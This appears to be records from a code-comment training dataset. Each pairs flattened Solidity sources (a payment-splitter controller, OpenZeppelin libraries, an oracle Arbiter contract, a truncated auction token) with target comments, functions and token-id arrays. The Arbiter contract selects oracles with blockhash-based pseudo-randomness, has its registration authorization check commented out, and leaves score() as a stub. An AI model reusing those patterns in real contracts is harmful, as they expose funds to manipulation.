LLL LEEL EES LLL PEE EES SSL IEE PEC PEE LLL LEEL EES SEE PEE EES IEE PEC PEE EES LEEL LLL SEE PEE EES IEE PEC PEE EES LEEL SEE PEE EES IEE PEC PEE EES LEEL LL SEE PEE EES IEE PEC PEE EES LEEL EES SEE PEE EES IEE PEC PEE EES LEEL EES LSI LSI LCL LSS ISL LSI ISL LSS ISL */ pragma solidity 0.8.10; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/proxy/Clones.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import './ReplaceablePaymentSplitter.sol'; contract PaymentSplitterController is Initializable, ReentrancyGuardUpgradeable { /** * @dev each style tokens' payment splitter instance */ mapping(uint256 => ReplaceablePaymentSplitter) public splitters; address[] private PAYMENT_TOKENS; /** * @dev the base instance that minimal proxies are cloned from */ address private _splitterTemplate; address private _owner; function initialize(address owner_, address[] memory paymentTokens_) public initializer { __ReentrancyGuard_init(); require(owner_ != address(0), 'initial owner mustnt be 0'); _owner = owner_; PAYMENT_TOKENS = paymentTokens_; _splitterTemplate = address(new ReplaceablePaymentSplitter()); } modifier onlyOwner() { require(msg.sender == _owner, 'only callable by owner'); _; } function createSplit( uint256 tokenId, address[] memory payees_, uint256[] memory shares_ ) external onlyOwner returns (address ps_address) { require(payees_.length == shares_.length, 'p and s len mismatch'); require(payees_.length > 0, 'no payees'); require(address(splitters[tokenId]) == address(0), 'ps exists'); // ReplaceablePaymentSplitter ps = new ReplaceablePaymentSplitter(); ps_address = Clones.clone(_splitterTemplate); ReplaceablePaymentSplitter ps = ReplaceablePaymentSplitter( payable(ps_address) ); splitters[tokenId] = ps; ps.initialize(address(this), payees_, shares_); } /** * @notice when splitters_ is [], we try to get *all* of your funds out * to withdraw individual tokens or in case some external call fails, * one can still call the payment splitter's release methods directly. */ function withdrawAll(address payable payee, address[] memory splitters_) external nonReentrant { for (uint256 i = 0; i < splitters_.length; i++) { releaseAll(ReplaceablePaymentSplitter(payable(splitters_[i])), payee); } } function releaseAll(ReplaceablePaymentSplitter ps, address payable account) internal { try ps.release(account) { /*empty*/ } catch { /*empty*/ } for (uint256 i = 0; i < PAYMENT_TOKENS.length; i++) { try ps.release(IERC20(PAYMENT_TOKENS[i]), account) { /*empty*/ } catch { /*empty*/ } } } function replaceShareholder( uint256 styleTokenId, address payable from, address to ) external onlyOwner nonReentrant { ReplaceablePaymentSplitter ps = splitters[styleTokenId]; releaseAll(ps, from); ps.replacePayee(from, to); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol) pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
ReplaceablePaymentSplitter ps = new ReplaceablePaymentSplitter();
function createSplit( uint256 tokenId, address[] memory payees_, uint256[] memory shares_ ) external onlyOwner returns (address ps_address) { require(payees_.length == shares_.length, 'p and s len mismatch'); require(payees_.length > 0, 'no payees'); require(address(splitters[tokenId]) == address(0), 'ps exists'); ps_address = Clones.clone(_splitterTemplate); ReplaceablePaymentSplitter ps = ReplaceablePaymentSplitter( payable(ps_address) ); splitters[tokenId] = ps; ps.initialize(address(this), payees_, shares_); }
517,624
[ 1, 5729, 429, 6032, 26738, 4250, 273, 394, 6910, 429, 6032, 26738, 5621, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 752, 5521, 12, 203, 565, 2254, 5034, 1147, 548, 16, 203, 565, 1758, 8526, 3778, 8843, 25521, 67, 16, 203, 565, 2254, 5034, 8526, 3778, 24123, 67, 203, 225, 262, 3903, 1338, 5541, 1135, 261, 2867, 4250, 67, 2867, 13, 288, 203, 565, 2583, 12, 10239, 25521, 27799, 2469, 422, 24123, 27799, 2469, 16, 296, 84, 471, 272, 562, 13484, 8284, 203, 565, 2583, 12, 10239, 25521, 27799, 2469, 405, 374, 16, 296, 2135, 8843, 25521, 8284, 203, 565, 2583, 12, 2867, 12, 4939, 5432, 63, 2316, 548, 5717, 422, 1758, 12, 20, 3631, 296, 1121, 1704, 8284, 203, 203, 565, 4250, 67, 2867, 273, 3905, 5322, 18, 14056, 24899, 4939, 387, 2283, 1769, 203, 565, 6910, 429, 6032, 26738, 4250, 273, 6910, 429, 6032, 26738, 12, 203, 1377, 8843, 429, 12, 1121, 67, 2867, 13, 203, 565, 11272, 203, 565, 1416, 5432, 63, 2316, 548, 65, 273, 4250, 31, 203, 565, 4250, 18, 11160, 12, 2867, 12, 2211, 3631, 8843, 25521, 67, 16, 24123, 67, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ArbiterInterface { function getOndutyOracle() external returns(address, string); function score(uint data) external returns (uint); } // Arbiter contract is used to get the current chainlink oracle id contract Arbiter is ArbiterInterface{ using SafeMath for uint256; // chainlink oracleAddress => jobID , every oracle only put one jobID which parse to string mapping(address => string) public oraclesAndJobIDs; // ETH Super Node address => oracleAddress mapping(bytes32 => address) public superNodeAndOracles; // ETH Super Node pub key keccak256 hash existence map mapping(bytes32 => bool) public superNodes; // current on duty super node pub key keccak256 hash bytes32[] public onDutySuperNodes; // valid on duty oracles uint public validOracles; // on duty oracles hash bytes32 public updateHash; // on duty oracle address public currentOracle; // on duty oracle job id string public currentJobId; // request nonce uint256 public nonce; function getOracleIndex() private returns(uint256){ nonce = nonce.add(1); uint256 previousBlock = block.number.sub(1); bytes32 hash = keccak256(blockhash(previousBlock),previousBlock,msg.sender,nonce); return uint256(uint8(hash)); } // get current on duty oraces function getOndutyOracle() external returns(address, string){ refresh(); bytes32 addr = onDutySuperNodes[getOracleIndex().mod(validOracles)]; address oracle = superNodeAndOracles[addr]; if (oracle == 0x0) { for (uint i=0;i<validOracles;i++) { addr = onDutySuperNodes[i]; oracle = superNodeAndOracles[addr]; if(oracle != 0x0){ break; } } } require(oracle != 0x0,"no super node has been registered"); string storage jobId = oraclesAndJobIDs[oracle]; currentOracle = oracle; currentJobId = jobId; return (oracle,jobId); } function score(uint data) external returns (uint){ //TODO to be implemented return data; } function registerArbiter(string publicKey, address oracle, string jobId, string signature) public { bytes32 oracleHash = keccak256(oracle); bytes32 jobIdHash = keccak256(jobId); bytes memory mergeHash = mergeBytes(oracleHash,jobIdHash); string memory data = toHex(mergeHash); require(p256_verify(publicKey,data,signature) == true,"verify signature error"); refresh(); bytes memory pubKeyBytes = hexStr2bytes(publicKey); bytes32 keyHash = keccak256(pubKeyBytes); // require(superNodes[keyHash] == true , "sender must be one of the super node account"); superNodeAndOracles[keyHash] = oracle; oraclesAndJobIDs[oracle] = jobId; } function refresh() public { uint validAddressLength = 36; bytes32[36] memory p; uint input; assembly { if iszero(staticcall(gas, 20, input, 0x00, p, 0x480)) { revert(0,0) } } for (uint i = 0;i<p.length;i++){ if (p[i] == 0x0 && validAddressLength == 36){ validAddressLength = i; } } bytes32 newHash = keccak256(abi.encodePacked(p)); if (updateHash != newHash ){ updateHash = newHash; onDutySuperNodes = p; validOracles = validAddressLength; for (uint j=0;j<p.length;j++){ bytes32 node = p[j]; if (superNodes[node] == false) { superNodes[node] = true; } } } } function p256_verify(string pubkey, string data, string sig) public view returns(bool) { string memory i = strConcat(strConcat(pubkey, data), sig); bytes memory input = hexStr2bytes(i); uint256[1] memory p; assembly { if iszero(staticcall(gas, 21, input, 193, p, 0x20)) { revert(0,0) } } return p[0] == 1; } function strConcat(string _a, string _b) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ret = new string(_ba.length + _bb.length); bytes memory bret = bytes(ret); uint k = 0; for (uint i = 0; i < _ba.length; i++)bret[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bret[k++] = _bb[i]; return string(ret); } function hexStr2bytes(string data) internal returns (bytes){ bytes memory a = bytes(data); uint[] memory b = new uint[](a.length); for (uint i = 0; i < a.length; i++) { uint _a = uint(a[i]); if (_a > 96) { b[i] = _a - 97 + 10; } else if (_a > 66) { b[i] = _a - 65 + 10; } else { b[i] = _a - 48; } } bytes memory c = new bytes(b.length / 2); for (uint _i = 0; _i < b.length; _i += 2) { c[_i / 2] = byte(b[_i] * 16 + b[_i + 1]); } return c; } function toHex(bytes origin) returns(string) { bytes memory dst = new bytes(2 * origin.length); bytes memory hextable = "0123456789abcdef"; uint j = 0; for (uint i= 0; i<origin.length;i++ ) { dst[j] = hextable[uint256(origin[i])>>4]; dst[j+1] = hextable[uint256(origin[i])&0x0f]; j = j+ 2; } return string(dst); } function mergeBytes(bytes32 first,bytes32 second) returns(bytes) { bytes memory merged = new bytes(first.length + second.length); uint k = 0; for (i = 0; i < first.length; i++) { merged[k] = first[i]; k++; } for (uint i = 0; i < second.length; i++) { merged[k] = second[i]; k++; } return merged; } }
TODO to be implemented
function score(uint data) external returns (uint){ return data; }
15,852,168
[ 1, 6241, 358, 506, 8249, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4462, 12, 11890, 501, 13, 3903, 1135, 261, 11890, 15329, 203, 3639, 327, 501, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^ 0.4.25; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; constructor() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract lepaitoken is owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public systemprice; struct putusers{ address puser;//竞拍人 uint addtime;//竞拍时间 uint addmoney; //竞拍价格 string useraddr; //竞拍人地址 } struct auctionlist{ address adduser;//添加人0 uint opentime;//开始时间1 uint endtime;//结束时间2 uint openprice;//起拍价格3 uint endprice;//最高价格4 uint onceprice;//每次加价5 uint currentprice;//当前价格6 string goodsname; //商品名字7 string goodspic; //商品图片8 bool ifend;//是否结束9 uint ifsend;//是否发货10 uint lastid;//竞拍数11 mapping(uint => putusers) aucusers;//竞拍人的数据组 mapping(address => uint) ausers;//竞拍人的竞拍价格 } auctionlist[] public auctionlisting; //竞拍中的 auctionlist[] public auctionlistend; //竞拍结束的 auctionlist[] public auctionlistts; //竞拍投诉 mapping(address => uint[]) userlist;//用户所有竞拍的订单 mapping(address => uint[]) mypostauct;//发布者所有发布的订单 mapping(address => uint) balances; //管理员帐号 mapping(address => bool) public admins; //0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA address btycaddress = 0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA; btycInterface constant private btyc = btycInterface(0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA); /* 通知 */ event auctconfim(address target, uint tokens);//竞拍成功通知 event getmoneys(address target, uint tokens);//获取返利通知 event Transfer(address indexed from, address indexed to, uint tokens); /* modifier是修改标志 */ modifier onlyadmin { require(admins[msg.sender] == true); _; } constructor() public { symbol = "BTYClepai"; name = "BTYC lepai"; decimals = 18; systemprice = 20000 ether; admins[owner] = true; } /*添加拍卖 */ function addauction(address addusers,uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, string goodsnames, string goodspics) public returns(uint){ uint _now = now; require(opentimes >= _now - 1 hours); require(opentimes < _now + 2 days); require(endtimes > opentimes); //require(endtimes > _now + 2 days); require(endtimes < opentimes + 2 days); require(btyc.balanceOf(addusers) >= systemprice); auctionlisting.push(auctionlist(addusers, opentimes, endtimes, openprices, endprices, onceprices, openprices, goodsnames, goodspics, false, 0, 0)); uint lastid = auctionlisting.length; mypostauct[addusers].push(lastid); return(lastid); } //发布者发布的数量 function getmypostlastid() public view returns(uint){ return(mypostauct[msg.sender].length); } //发布者发布的订单id function getmypost(uint ids) public view returns(uint){ return(mypostauct[msg.sender][ids]); } /* 获取用户金额 */ function balanceOf(address tokenOwner) public view returns(uint balance) { return balances[tokenOwner]; } //btyc用户余额 function btycBalanceOf(address addr) public view returns(uint) { return(btyc.balanceOf(addr)); } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) private { // 防止转移到0x0 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balances[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balances[_to] + _value > balances[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint 